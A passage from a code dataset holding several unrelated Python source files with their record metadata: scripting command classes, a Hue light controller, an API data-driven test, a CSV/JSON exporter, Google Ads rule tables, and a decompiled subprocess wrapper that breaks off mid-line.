EnumSleepTimeMode(ROMEnum):\n CEIL = 0, 'Ceil'\n FLOOR = 1, 'Floor'\n NORMAL = 2, 'Normal'\n\n\n@meta.rom(private=True, description='Add comment to smart scripter')\nclass CommentCommand(rom_command.ROMCommand):\n Comment = rom_property.StringProperty(default='', display='Comment', category='input', description='Comment')\n\n def _run(self):\n pass\n\n\n@meta.rom(private=True, description='Sleep the smart scripter for given time')\nclass SleepCommand(rom_command.ROMCommand):\n SleepTime = rom_property.DoubleProperty(default=10, display='Sleep Time (sec)', category='input',\n description='Sleep time in seconds')\n SleepTimeMode = rom_property.EnumProperty(EnumSleepTimeMode, default=EnumSleepTimeMode.NORMAL,\n category='input', display='Sleep Time Mode')\n\n def _run(self):\n time = self.SleepTime\n if self.SleepTimeMode == EnumSleepTimeMode.CEIL:\n time = math.ceil(time)\n elif self.SleepTimeMode == EnumSleepTimeMode.FLOOR:\n time = math.floor(time)\n gevent.sleep(time, ref=True)\n\n\nclass EnumVariableType(base_types.ROMEnum):\n INT = 0, 'Integer'\n STRING = 1, 'String'\n\n\n@meta.rom(private=True, description='Set variable to a value')\nclass SetVariableCommand(rom_command.ROMCommand):\n VariableName = rom_property.StringProperty(default='', display='Variable Name', category='input',\n description='Variable Name')\n\n VariableValue = rom_property.StringProperty(default='0', display='Variable Value', category='input',\n description='Variable value')\n\n VariableType = rom_property.EnumProperty(EnumVariableType, default=EnumVariableType.INT, category='input',\n display='Variable Type', description='Variable type')\n\n def _run(self):\n if not self.VariableName:\n raise exception.ROMValidationException('No variable name specified')\n\n if self.VariableType == EnumVariableType.INT:\n try:\n _ = int(self.VariableValue)\n except:\n raise exception.ROMValidationException('Invalid variable value: {}'.format(self.VariableValue))\n\n from framework.smart_scripter import smart_scripter\n ss = smart_scripter.SmartScripter.instance()\n ss.set_vars(self.VariableType, self.VariableName, self.VariableValue)\n\n\n@meta.rom(private=True, description='Evaluate a expression')\nclass GetVariableCommand(rom_command.ROMCommand):\n VariableName = rom_property.StringProperty(default='', display='Variable Name', category='input',\n description='Variable Name')\n\n VariableValue = rom_property.StringProperty(default='0', display='Variable Value', category='output',\n description='Variable value')\n\n VariableType = rom_property.EnumProperty(EnumVariableType, default=EnumVariableType.INT, category='input',\n display='Variable Type', description='Variable type')\n\n def _run(self):\n if not self.VariableName:\n raise exception.ROMValidationException('No variable name specified')\n\n from framework.smart_scripter import smart_scripter\n ss = smart_scripter.SmartScripter.instance()\n value = ss.get_vars(self.VariableType, self.VariableName)\n if not value:\n raise exception.ROMPublicException('Variable {} not found')\n self.VariableValue = str(value)\n\n\nclass EnumWaitOperator(base_types.ROMEnum):\n EQUAL = 0, '=='\n GREATER_THAN = 1, '>'\n LESS_THAN = 2, '<'\n GREATER_EQUAL_THAN = 3, '>='\n LESS_EQUAL_THAN = 4, '<='\n\n\n@meta.rom(private=True, description='Wait a condtion to be true')\nclass WaitConditionCommand(rom_command.ROMCommand):\n WaitTime = rom_property.U32Property(default=10, display='Wait Time (sec)', category='input', description='Wait time')\n\n ObjectHandles = rom_property.HandleProperty(default='', aggregate=True, display='Object Handles',\n description='Object handles', category='input')\n\n PropertyName = rom_property.StringProperty(default='', display='Property Name', category='input',\n description='Property name')\n\n ExpectValue = rom_property.StringProperty(default='', display='Expect Value', category='input',\n description='ExpectValue')\n\n WaitOperator = rom_property.EnumProperty(EnumWaitOperator, default=EnumWaitOperator.EQUAL, display='Wait Operator',\n category='input', description='Wait operator')\n\n def _run(self):\n handles = self.ObjectHandles\n if not handles:\n raise exception.ROMValidationException('No object handle specified')\n\n prop_name = self.PropertyName\n if not prop_name:\n raise exception.ROMValidationException('No property name specified')\n\n objects = set()\n object_list = []\n obj_type = None\n prop = None\n for handle in handles:\n obj = manager.ROMManager.get_object(handle)\n if not obj:\n raise exception.ROMValidationException('Invalid object handle: {}'.format(handle))\n\n if not obj.has_prop(prop_name):\n raise exception.ROMValidationException(\n 'Object ({}) has no property named {}'.format(obj.name, prop_name))\n\n if not obj_type:\n obj_type = type(obj)\n prop = obj.get_prop_obj(prop_name)\n else:\n if obj_type != type(obj):\n raise exception.ROMValidationException(\n 'Object must be the same type, expect: {}, got: {}'.format(obj_type, type(obj)))\n\n objects.add(obj)\n object_list.append(obj)\n\n expect_value = prop._from_str(self.ExpectValue)\n current_wait_sec = 0\n max_wait_sec = self.WaitTime\n expr = 'obj.get_property(prop_name) {} expect_value'.format(self.WaitOperator.display)\n while current_wait_sec <= max_wait_sec:\n for obj in object_list:\n if eval(expr):\n objects.remove(obj)\n if not objects:\n break\n\n object_list = list(objects)\n current_wait_sec += 1\n if current_wait_sec <= max_wait_sec:\n gevent.sleep(1, ref=True)\n\n if objects:\n raise exception.ROMPublicException('Wait for condition failed')\n\n\nclass EnumExecuteShellMode(base_types.ROMEnum):\n ASYNC = 0, 'Asynchronous'\n SYNC = 1, 'Synchronous'\n\n\n@meta.rom(private=True, description='Wait a condtion to be true')\nclass ExecuteShellCommand(rom_command.ROMCommand):\n CommandString = rom_property.StringProperty(default='', display='Command String', category='input',\n description='Command string')\n\n CommandParameter = rom_property.StringProperty(default='', display='Command Parameter', category='input',\n description='Command parameter')\n\n WorkingDir = rom_property.StringProperty(default='', display='Working Directory', category='input',\n description='Working directory')\n\n Mode = rom_property.EnumProperty(EnumExecuteShellMode, default=EnumExecuteShellMode.ASYNC, category='input',\n display='Execute Mode', description='Execute mode')\n\n WaitTime = rom_property.U32Property(default=10, display='Wait Time (sec)', description='Wait time in seconds',\n category='input',\n conditions=(rom_property.Condition('editable', 'Mode', 'eq', 'SYNC'),))\n\n def _run(self):\n cmd_string = self.CommandString\n if not cmd_string:\n raise exception.ROMValidationException('No command string specified')\n\n working_dir = self.WorkingDir\n current_dir = os.getcwd()\n if working_dir:\n if not os.path.exists(working_dir):\n raise exception.ROMValidationException('Working directory does not exist')\n else:\n working_dir = None\n\n try:\n if self.Mode == EnumExecuteShellMode.ASYNC:\n subprocess.Popen([cmd_string, self.CommandParameter], cwd=working_dir)\n else:\n subprocess.run([cmd_string, self.CommandParameter], check=False, cwd=working_dir, timeout=self.WaitTime)\n except Exception as e:\n raise exception.ROMPublicException('Fail to execute shell command: {}'.format(str(e)))\n finally:\n if working_dir:\n os.chdir(current_dir)\n\n\n@meta.rom(description='Enable/Disable a command in smart scripter')\nclass ToggleObjectCommand(rom_command.ROMCommand):\n ObjectHandles = rom_property.HandleProperty(default='', display='Object Handles', category='input', description='Object handles', aggregate=True)\n\n OnOff = rom_property.BoolProperty(default=False, display='Turn On', category='input', description='Turn on')\n\n Recursive = rom_property.BoolProperty(default=False, display='Recursive', category='input', description='Recursive')\n\n def _run(self):\n if not self.ObjectHandles:\n return\n\n for handle in self.ObjectHandles:\n o = manager.ROMManager.get_object(handle)\n if o:\n '''\n o.Enable = self.OnOff\n if self.Recursive:\n cmd = manager.ROMManager.create_object('ToggleObjectCommand')\n\n for child in o.get_target_relatives_by_name(base_types.PARENT_CHILD_RELATION,\n 'ROMCommand'):\n cmd.Handles.append(child.handle)\n cmd.Recursive = True\n cmd.execute(async_mode=False)\n '''\n self.__toggle_command_state(o, self.OnOff)\n\n def __toggle_command_state(self, cmd, state):\n cmd.Enable = state\n for child_cmd in cmd.get_target_relatives_by_name(base_types.PARENT_CHILD_RELATION, 'ROMCommand'):\n self.__toggle_command_state(child_cmd, state)\n\n\n@meta.rom(description='Remove a command in smart scripter')\nclass RemoveSmartScripterCommand(rom_command.ROMCommand):\n ObjectHandle = rom_property.HandleProperty(default='', display='Object Handles', category='input', description='Object handle')\n\n def _run(self):\n if not self.ObjectHandle:\n return\n\n obj = manager.ROMManager.get_object(self.ObjectHandle)\n if obj:\n parent_group = obj.get_parent()\n if isinstance(parent_group, GroupCommand):\n parent_group.remove_command(obj)\n\n","sub_path":"CL/framework/smart_scripter/assist_commands.py","file_name":"assist_commands.py","file_ext":"py","file_size_in_byte":11451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"592440474","text":"from __future__ import annotations\n\nimport os\nfrom phue import Bridge, PhueRegistrationException\n\nfrom .controller import LightController, LightInfo\n\nNAME = \"hue\"\n\n\nclass HueLightController(LightController):\n def __init__(self, bridge_ip: str):\n self.bridge = self.initialize_hue_bridge(bridge_ip)\n\n def change_light_state(self, color_mode: str, on: bool = True, **kwargs):\n kwargs[\"on\"] = on\n self.bridge.set_light(self.light_id, kwargs)\n\n def get_light_info(self) -> LightInfo:\n light = self.bridge.get_light(self.light_id)\n lightinfo = LightInfo(\n model_id=light[\"modelid\"],\n )\n\n if \"ct\" in light[\"capabilities\"][\"control\"]:\n lightinfo.min_mired = light[\"capabilities\"][\"control\"][\"ct\"][\"min\"]\n lightinfo.max_mired = light[\"capabilities\"][\"control\"][\"ct\"][\"max\"]\n\n return lightinfo\n\n def initialize_hue_bridge(self, bridge_ip: str) -> Bridge:\n config_file_path = os.path.join(os.path.dirname(__file__), \"../.persistent/.python_hue\")\n try:\n bridge = Bridge(ip=bridge_ip, config_file_path=config_file_path)\n except PhueRegistrationException as err:\n print(\"Please click the link button on the bridge, than hit enter..\")\n input()\n bridge = Bridge(ip=bridge_ip, config_file_path=config_file_path)\n\n return bridge\n\n def get_questions(self) -> list[dict]:\n light_list = []\n for light in self.bridge.lights:\n light_list.append(\n {\"key\": light.light_id, \"value\": light.light_id, \"name\": light.name}\n )\n\n return [\n {\n \"type\": \"list\",\n \"name\": \"light\",\n \"message\": \"Select the light?\",\n \"choices\": light_list,\n },\n ]\n\n def process_answers(self, answers):\n self.light_id = answers[\"light\"]\n","sub_path":"utils/measure/light_controller/hue.py","file_name":"hue.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"403470653","text":"import json\n\nimport openpyxl\nimport requests\n\n\ndef test_student_details():\n #1 api_url should be available\n\n api_url = 'http://www.thetestingworldapi.com/api/studentsDetails'\n\n #2.Should have API body which have to sent to server Get it from Json (using notpad++) edit and save\n\n# ''' {\n# \"first_name\": \"sample string 2\",\n# \"middle_name\": \"sample string 3\",\n# \"last_name\": \"sample string 4\",\n# \"date_of_birth\": \"sample string 5\"\n# }\n# '''\n# #3.open the json file store it in file\n\n file = open('C:/Hanamanta_Data/Datadriven/student.json')\n\n #Loads it into Json format\n json_request = json.loads(file.read())\n\n #Post request use to create a data\n # store_response = requests.post(api_url ,json_request)\n #\n # print(store_response.status_code)\n # print(store_response.text)\n #Load the workbook for read the data from excel\n book = openpyxl.load_workbook('C:/Hanamanta_Data/testdata.xlsx')\n #Go to the Active sheet\n sheet = book.active\n row = sheet.max_row\n for i in range(2,row+1):\n cell_first = sheet.cell(row=i, column=1)\n cell_midle = sheet.cell(row=i, column=2)\n cell_lastname = sheet.cell(row=i , column=3)\n cell_dob = sheet.cell(row = i, column=4)\n json_request['first_name'] = cell_first.value\n json_request['middle_name'] = cell_midle.value\n json_request['last_name'] = cell_lastname.value\n json_request['date_of_birth'] = cell_dob.value\n\n store_response = requests.post(api_url, json_request)\n print(store_response.status_code)\n print(store_response.text)\n\n\n","sub_path":"pythonProject/HGRTest/DataDrivenTest/test_datadrivenapproach.py","file_name":"test_datadrivenapproach.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"58690307","text":"# -*- coding: UTF-8 -*-\n\"\"\"\nExport structures to various file format.\n\"\"\"\n\nimport csv\nimport json\nimport re\n\nimport genparser\n\n\ndef file_export(struct, parsed, output_path):\n \"\"\"\n Export a structure to the given output.\n\n struct: Structure of depth inferior to 2.\n parsed: List parsed according to the given structure.\n output_path: Output file path.\n \"\"\"\n\n # Find format\n match = re.search(\"\\\\.([a-zA-Z]+)$\", output_path)\n if match is None:\n raise SyntaxError(\"Output format not regognized from the output file path \\\"%s\\\". Available formats: %s\" %\n (output_path, \",\".join(genparser.FORMATS.keys())))\n exporter = genparser.FORMATS[match.group(1)]\n\n # Write\n with open(output_path, \"w\") as file:\n exporter(struct, parsed, file)\n\n\ndef json_export(struct, parsed, output, indent=4):\n \"\"\"\n Export a structure to the given output in JSON.\n\n struct: Structure of depth inferior to 2.\n parsed: List parsed according to the given structure.\n output: Output stream.\n indent: Number of spaces to indent, None for compact mode.\n \"\"\"\n converted = [struct.to_json(e) for e in parsed]\n json.dump(converted, output, indent=indent)\n\n\ndef csv_export(struct, parsed, output, header=True, column_separator=';'):\n \"\"\"\n Export a structure to the given output in CSV.\n\n Args:\n struct: Structure of depth inferior to 2.\n parsed: List parsed according to the given structure.\n output: Output stream.\n header: Boolean to write a header.\n column_separator: Column separator for the output.\n \"\"\"\n\n if struct.depth() == 0:\n return\n elif struct.depth() > 2:\n raise SyntaxError(\"Export via CSV is limited to structure of a maximal depth of 2 (given %s).\" % struct.depth())\n\n writer = csv.writer(output, delimiter=column_separator)\n\n # Header\n if header and struct.depth() > 1:\n writer.writerow([str(s) for s in struct.content if s is not None])\n\n # Data\n if struct.depth() == 1:\n for e in parsed:\n writer.writerow([e])\n else:\n for row in parsed:\n writer.writerow(row)\n","sub_path":"genparser/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"188593747","text":"import pprint\r\n\r\nValue_operand = {\r\n 'BiddingStrategyType': [('Target CPA', 'TARGET_CPA'), ('Target ROAS', 'TARGET_ROAS'),\r\n ('cpc', 'MANUAL_CPC'), ('cpv', 'MANUAL_CPV'), ('cpm', 'MANUAL_CPM'),\r\n ('Maximum clicks', 'TARGET_SPEND'), ('Maximum Conversions', 'MAXIMIZE_CONVERSIONS'),\r\n ('Maximum Conversion Value', 'MAXIMIZE_CONVERSION_VALUE'),\r\n ('Target Outranking Share', 'TARGET_OUTRANK_SHARE')],\r\n 'AdvertisingChannelType': [\r\n ('Search', 'SEARCH'), ('Display', 'DISPLAY'), ('Shopping', 'SHOPPING'), ('Video', 'VIDEO'),\r\n ('Multi Channel', 'MULTI_CHANNEL'), ('Express', 'EXPRESS')\r\n ],\r\n 'KeywordMatchType': [\r\n ('Exact', 'EXACT'), ('Phrase', 'PHRASE'), ('Broad', 'BROAD')\r\n ]\r\n}\r\n\r\nOperations_dictionary = {'label': {'e': 'is equal to',\r\n 'ea': 'is equal to any of',\r\n 'eic': 'is equal to (ignore case)',\r\n 'ne': 'is not equal to',\r\n 'nea': 'is not equal to any of',\r\n 'nic': 'is not equal to (ignore case)'},\r\n 'number': {'<': '< less than',\r\n '<=': '<= less than or equal to',\r\n '==': '== equal to',\r\n '>': '> greater than',\r\n '>=': '>= greater than or equal to'},\r\n 'string': {'$': 'ends with',\r\n '$ic': 'ends with (ignore case)',\r\n '^': 'starts with',\r\n '^ic': 'starts with (ignore case)',\r\n 'c': 'contains',\r\n 'cic': 'contains (ignore case)',\r\n 'e': 'is equal to',\r\n 'eic': 'is equal to (ignore case)',\r\n 'in': 'in',\r\n 'inic': 'in (ignore case)',\r\n 'nc': 'does not contain',\r\n 'ncic': 'does not contain (ignore case)',\r\n 'ne': 'is not equal to',\r\n 'neic': 'is not equal to (ignore case)'}}\r\nFields = {'Campaign': [('Campaign ID', 'CampaignId', 'string'),\r\n ('Campaign Name', 'CampaignName', 'string'),\r\n ('Account ID', 'ExternalCustomerId', 'string'),\r\n ('Labels', 'Labels', 'label'),\r\n ('Bid Strategy Type', 'BiddingStrategyType', 'string'),\r\n ('Advertising Channel', 'AdvertisingChannelType', 'string'),\r\n ('Clicks', 'Clicks', 'number'),\r\n ('Impressions', 'Impressions', 'number'),\r\n ('Cost', 'Cost', 'number'),\r\n ('CTR', 'Ctr', 'number'),\r\n ('Avg. CPC', 'AverageCpc', 'number'),\r\n ('Avg. position', 'AveragePosition', 'number'),\r\n ('Impr. (Top) %', 'TopImpressionPercentage', 'number'),\r\n ('Impr. (Abs. Top) %',\r\n 'AbsoluteTopImpressionPercentage',\r\n 'number'),\r\n ('Conversions', 'Conversions', 'number'),\r\n ('All conv.', 'AllConversions', 'number'),\r\n ('All conv. value', 'AllConversionValue', 'number'),\r\n ('All conv. rate', 'AllConversionRate', 'number'),\r\n ('Conv. value', 'ConversionValue', 'number'),\r\n ('View-through conv.', 'ViewThroughConversions', 'number'),\r\n ('Conv. rate', 'ConversionRate', 'number'),\r\n ('Value / conv.', 'ValuePerConversion', 'number'),\r\n ('Value / all conv.', 'ValuePerAllConversion', 'number'),\r\n ('Cost / all conv.', 'CostPerAllConversion', 'number'),\r\n ('Cost / conv.', 'CostPerConversion', 'number'),\r\n ('ROAS', 'ConversionValue/Cost', 'number'),\r\n ('All conv. val/cost', 'all_conversion_value_per_cost', 'number'),\r\n ('All conv. val/click',\r\n 'all_conversion_value_per_click',\r\n 'number'),\r\n ('Conv. val/cost', 'conversion_value_per_cost', 'number'),\r\n ('Click Assisted Conv.', 'ClickAssistedConversions', 'number'),\r\n ('Impr. Assisted Conv.',\r\n 'ImpressionAssistedConversions',\r\n 'number'),\r\n ('Search Exact match IS',\r\n 'SearchExactMatchImpressionShare',\r\n 'number'),\r\n ('Search Impr. share', 'SearchImpressionShare', 'number'),\r\n ('Search Lost IS (rank)',\r\n 'SearchRankLostImpressionShare',\r\n 'number'),\r\n ('Search Lost IS (budget)',\r\n 'SearchBudgetLostImpressionShare',\r\n 'number'),\r\n ('Content Lost IS (budget)',\r\n 'ContentBudgetLostImpressionShare',\r\n 'number'),\r\n ('Content Lost IS (rank)',\r\n 'ContentRankLostImpressionShare',\r\n 'number'),\r\n ('Content Impr. share', 'ContentImpressionShare', 'number'),\r\n ('Search abs. top IS',\r\n 'SearchAbsoluteTopImpressionShare',\r\n 'number'),\r\n ('Click share', 'SearchClickShare', 'number'),\r\n ('Search top IS', 'SearchTopImpressionShare', 'number'),\r\n ('Search lost top IS (rank)',\r\n 'SearchRankLostTopImpressionShare',\r\n 'number'),\r\n ('Search lost abs. top IS (rank)',\r\n 'SearchRankLostAbsoluteTopImpressionShare',\r\n 'number')],\r\n 'Groups': [('Current Bid', 'CpcBid', 'number'),\r\n ('Campaign Name', 'CampaignName', 'string'),\r\n ('Ad group Name', 'AdGroupName', 'string'),\r\n ('Label Name', 'Labels', 'label'),\r\n ('Target ROAS', 'EffectiveTargetRoas', 'number'),\r\n ('Target CPA', 'TargetCpa', 'number'),\r\n ('Account ID', 'ExternalCustomerId', 'string'),\r\n ('Campaign ID', 'CampaignId', 'string'),\r\n ('Ad group ID', 'AdGroupId', 'string'),\r\n ('Clicks', 'Clicks', 'number'),\r\n ('Impressions', 'Impressions', 'number'),\r\n ('Cost', 'Cost', 'number'),\r\n ('CTR', 'Ctr', 'number'),\r\n ('Avg. CPC', 'AverageCpc', 'number'),\r\n ('Avg. position', 'AveragePosition', 'number'),\r\n ('Impr. (Top) %', 'TopImpressionPercentage', 'number'),\r\n ('Impr. (Abs. Top) %', 'AbsoluteTopImpressionPercentage', 'number'),\r\n ('Conversions', 'Conversions', 'number'),\r\n ('All conv.', 'AllConversions', 'number'),\r\n ('All conv. value', 'AllConversionValue', 'number'),\r\n ('All conv. rate', 'AllConversionRate', 'number'),\r\n ('Conv. value', 'ConversionValue', 'number'),\r\n ('View-through conv.', 'ViewThroughConversions', 'number'),\r\n ('Conv. rate', 'ConversionRate', 'number'),\r\n ('Value / conv.', 'ValuePerConversion', 'number'),\r\n ('Value / all conv.', 'ValuePerAllConversion', 'number'),\r\n ('Cost / all conv.', 'CostPerAllConversion', 'number'),\r\n ('Cost / conv.', 'CostPerConversion', 'number'),\r\n ('ROAS', 'ROAS', 'number'),\r\n ('All conv. val/cost', 'all_conversion_value_per_cost', 'number'),\r\n ('All conv. val/click', 'all_conversion_value_per_click', 'number'),\r\n ('Conv. val/cost', 'conversion_value_per_cost', 'number'),\r\n ('Click Assisted Conv.', 'ClickAssistedConversions', 'number'),\r\n ('Impr. Assisted Conv.', 'ImpressionAssistedConversions', 'number'),\r\n ('Search Exact match IS',\r\n 'SearchExactMatchImpressionShare',\r\n 'number'),\r\n ('Search Impr. share', 'SearchImpressionShare', 'number'),\r\n ('Search Lost IS (rank)',\r\n 'SearchRankLostImpressionShare',\r\n 'number'),\r\n ('Content Impr. share', 'ContentImpressionShare', 'number'),\r\n ('Search abs. top IS',\r\n 'SearchAbsoluteTopImpressionShare',\r\n 'number'),\r\n ('Search top IS', 'SearchTopImpressionShare', 'number'),\r\n ('Search lost top IS (rank)',\r\n 'SearchRankLostTopImpressionShare',\r\n 'number'),\r\n ('Search lost abs. top IS (rank)',\r\n 'SearchRankLostAbsoluteTopImpressionShare',\r\n 'number')],\r\n 'Keywords': [('Current Bid', 'CpcBid', 'number'),\r\n ('Campaign Name', 'CampaignName', 'string'),\r\n ('Ad group Name', 'AdGroupName', 'string'),\r\n ('Match Type', 'KeywordMatchType', 'string'),\r\n ('First page CPC', 'FirstPageCpc', 'number'),\r\n ('Top of page CPC', 'TopOfPageCpc', 'number'),\r\n ('First position CPC', 'FirstPositionCpc', 'number'),\r\n ('Keyword', 'Criteria', 'string'),\r\n ('Label Name', 'Labels', 'label'),\r\n ('Account ID', 'ExternalCustomerId', 'string'),\r\n ('Campaign ID', 'CampaignId', 'string'),\r\n ('Ad group ID', 'AdGroupId', 'string'),\r\n ('Keyword ID', 'Id', 'string'),\r\n ('Quality score', 'QualityScore', 'number'),\r\n ('Quality score (hist.)', 'HistoricalQualityScore', 'number'),\r\n ('Exp. CTR', 'SearchPredictedCtr', 'number'),\r\n ('Exp. CTR (hist.)', 'HistoricalSearchPredictedCtr', 'number'),\r\n ('Landing page exp.', 'PostClickQualityScore', 'number'),\r\n ('Landing page exp. (hist.)',\r\n 'HistoricalLandingPageQualityScore',\r\n 'number'),\r\n ('Ad relevance', 'CreativeQualityScore', 'number'),\r\n ('Ad relevance (hist.)',\r\n 'HistoricalCreativeQualityScore',\r\n 'number'),\r\n ('Clicks', 'Clicks', 'number'),\r\n ('Impressions', 'Impressions', 'number'),\r\n ('Cost', 'Cost', 'number'),\r\n ('CTR', 'Ctr', 'number'),\r\n ('Avg. CPC', 'AverageCpc', 'number'),\r\n ('Avg. position', 'AveragePosition', 'number'),\r\n ('Impr. (Top) %', 'TopImpressionPercentage', 'number'),\r\n ('Impr. (Abs. Top) %',\r\n 'AbsoluteTopImpressionPercentage',\r\n 'number'),\r\n ('Conversions', 'Conversions', 'number'),\r\n ('All conv.', 'AllConversions', 'number'),\r\n ('All conv. value', 'AllConversionValue', 'number'),\r\n ('All conv. rate', 'AllConversionRate', 'number'),\r\n ('Conv. value', 'ConversionValue', 'number'),\r\n ('View-through conv.', 'ViewThroughConversions', 'number'),\r\n ('Conv. rate', 'ConversionRate', 'number'),\r\n ('Value / conv.', 'ValuePerConversion', 'number'),\r\n ('Cost / all conv.', 'CostPerAllConversion', 'number'),\r\n ('Cost / conv.', 'CostPerConversion', 'number'),\r\n ('ROAS', 'ROAS', 'number'),\r\n ('All conv. val/cost', 'all_conversion_value_per_cost', 'number'),\r\n ('All conv. val/click',\r\n 'all_conversion_value_per_click',\r\n 'number'),\r\n ('Conv. val/cost', 'conversion_value_per_cost', 'number'),\r\n ('Click Assisted Conv.', 'ClickAssistedConversions', 'number'),\r\n ('Impr. Assisted Conv.',\r\n 'ImpressionAssistedConversions',\r\n 'number'),\r\n ('Search Exact match IS',\r\n 'SearchExactMatchImpressionShare',\r\n 'string'),\r\n ('Search Impr. share', 'SearchImpressionShare', 'string'),\r\n ('Search Lost IS (rank)',\r\n 'SearchRankLostImpressionShare',\r\n 'string'),\r\n ('Search abs. top IS',\r\n 'SearchAbsoluteTopImpressionShare',\r\n 'string'),\r\n ('Search top IS', 'SearchTopImpressionShare', 'string'),\r\n ('Search lost top IS (rank)',\r\n 'SearchRankLostTopImpressionShare',\r\n 'string'),\r\n ('Search lost abs. top IS (rank)',\r\n 'SearchRankLostAbsoluteTopImpressionShare',\r\n 'string')]}\r\n\r\nCondition_scope = {\r\n 'Campaign': [\r\n ('Campaign', 'Campaign'),\r\n ],\r\n 'Groups': [\r\n ('Adgroup', 'Groups'),\r\n ('Campaign', 'Campaign'),\r\n ],\r\n 'Keywords': [\r\n ('Keyword', 'Keywords'),\r\n ('Adgroup', 'Groups'),\r\n ('Campaign', 'Campaign'),\r\n\r\n ]\r\n}\r\nAction_scope = {\r\n 'Campaign': [\r\n ('Campaign', 'Campaign'),\r\n ('All Ad group(s) of the Campaign', 'Groups'),\r\n ('All Keyword(s) of the Campaign', 'Keywords'),\r\n ],\r\n 'Groups': [\r\n ('Adgroup', 'Groups'),\r\n ('All Keyword(s) of the Campaign', 'Keywords')\r\n ],\r\n 'Keywords': [\r\n ('Keyword', 'Keywords')\r\n ]\r\n}\r\nAction_dictionary = {\r\n 'Campaign': [\r\n ('Modify status', 'status'),\r\n ('Modify label', 'label')\r\n ],\r\n 'Groups': [\r\n ('Modify CPC Bids', 'cpc'),\r\n ('Modify Label', 'label'),\r\n ('Modify Status', 'status'),\r\n ('Modify ROAS', 'roas'),\r\n ('Modify Target CPA', 'cpa'),\r\n ('Modify CPM Bids', 'cpm')\r\n ],\r\n 'Keywords': [\r\n ('Modify CPC Bids', 'cpc'),\r\n ('Modify Label', 'label'),\r\n ('Modify Status', 'status'),\r\n ('Modify CPM Bids', 'cpm')\r\n ]\r\n}\r\n\r\nAction_options = {\r\n 'status': [\r\n ('Enable Status', 'enable', 'ENABLED'),\r\n ('Pause Status', 'pause', 'DISABLED')\r\n ],\r\n 'label': [\r\n ('Add Labels', 'ADD'),\r\n ('Remove Labels', 'REMOVE')\r\n ],\r\n 'cpc': [\r\n ('Increase CPC Bids', 'increase'),\r\n ('Decrease CPC Bids', 'decrease'),\r\n ('Set Bids', 'set')\r\n ],\r\n 'roas': [\r\n ('Increase Target ROAS', 'increase'),\r\n ('Decrease Target ROAS', 'decrease'),\r\n ('Set Target ROAS', 'set')\r\n ],\r\n 'cpa': [\r\n ('Increase Target CPA', 'increase'),\r\n ('Decrease Target CPA', 'decrease'),\r\n ('Set Target CPA', 'set')\r\n ],\r\n 'cpm': [\r\n ('Increase CPM Bids', 'increase'),\r\n ('Decrease CPM Bids', 'decrease'),\r\n ('Set CPM Bids', 'set')\r\n ],\r\n\r\n}\r\nName_of_Days = ['MONDAY', 'TUESDAY', 'WEDNESDAY', 'THURSDAY', 'FRIDAY', 'SATURDAY', 'SUNDAY']\r\nAction_values = {\r\n\r\n}\r\n# Fields=dict()\r\n# Fields['Campaign']=list()\r\n# Fields['Groups']=list()\r\n# Fields['Keywords']=list()\r\n#\r\n#\r\n# my_path = os.path.dirname(os.getcwd())\r\n#\r\n# FILENAME = my_path + \"/res/Campaign.txt\"\r\n# with open(FILENAME) as f:\r\n# for line in f:\r\n# token = line.strip().split(\",\")\r\n# Fields['Campaign'].append((token[0],token[1],token[2]))\r\n# FILENAME = my_path + \"/res/Groups.txt\"\r\n# with open(FILENAME) as f:\r\n# for line in f:\r\n# token = line.strip().split(\",\")\r\n# Fields['Groups'].append((token[0],token[1],token[2]))\r\n# FILENAME = my_path + \"/res/Keywords.txt\"\r\n# with open(FILENAME) as f:\r\n# for line in f:\r\n# token = line.strip().split(\",\")\r\n# Fields['Keywords'].append((token[0],token[1],token[2]))\r\n\r\nif __name__ == '__main__':\r\n # print(json.dumps(Operations_dictionary))\r\n pprint.pprint(Fields)\r\n","sub_path":"googleadwordssamad/myproject/utils/utils_data.py","file_name":"utils_data.py","file_ext":"py","file_size_in_byte":17242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"329737523","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.12-x86_64/egg/centinel/command.py\n# Compiled at: 2016-11-15 14:40:44\nimport os, signal, subprocess, threading, time\n\nclass Command:\n \"\"\"Class to handle the interface between Python scripts and executables\"\"\"\n\n def __init__(self, command, output_callback, timeout=10):\n \"\"\"Constructor for the command class that sets up generic\n timed out execution\n\n Params:\n command- the command to run in the form of a list of strings\n (per subprocess input\n\n output_callback(self, line, kill_switch)- the callback to\n process what the program prints to stdout and stderr where\n line is the latest line (all output is also logged to\n self.notifications) This function should also set the state\n variables self.started, self.error, and self.stopped\n correctly. The function may assume that these are\n initialized to False, but must appropriately change the\n variables depending on input. On an error, the function\n must also set self.error to True and self.error_msg to the\n error message\n\n \"\"\"\n self.command = command\n self.output_callback = output_callback\n self.timeout = timeout\n self.started = False\n self.stopped = False\n self.exception = None\n self.error = False\n self.notifications = ''\n self.thread = threading.Thread(target=self._invoke_cmd)\n self.thread.setDaemon(1)\n return\n\n def start(self, timeout=None):\n \"\"\"Start running the command\"\"\"\n self.thread.start()\n start_time = time.time()\n if not timeout:\n timeout = self.timeout\n while start_time + timeout > time.time():\n self.thread.join(1)\n if self.started:\n return True\n if self.error:\n return False\n\n return False\n\n def stop(self, timeout=None):\n \"\"\"Stop the given command\"\"\"\n if not timeout:\n timeout = self.timeout\n self.kill_switch()\n self.process.kill()\n self.thread.join(timeout)\n try:\n os.killpg(os.getpgid(self.process.pid), signal.SIGTERM)\n except:\n pass\n\n if self.stopped:\n return True\n else:\n return False\n\n def _invoke_cmd(self):\n try:\n self.process = subprocess.Popen(self.command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, preexec_fn=os.setsid)\n except Exception as exp:\n self.exception = exp\n self.started = False\n self.error = False\n return\n\n self.kill_switch = self.process.terminate\n self.starting = True\n while True:\n line = 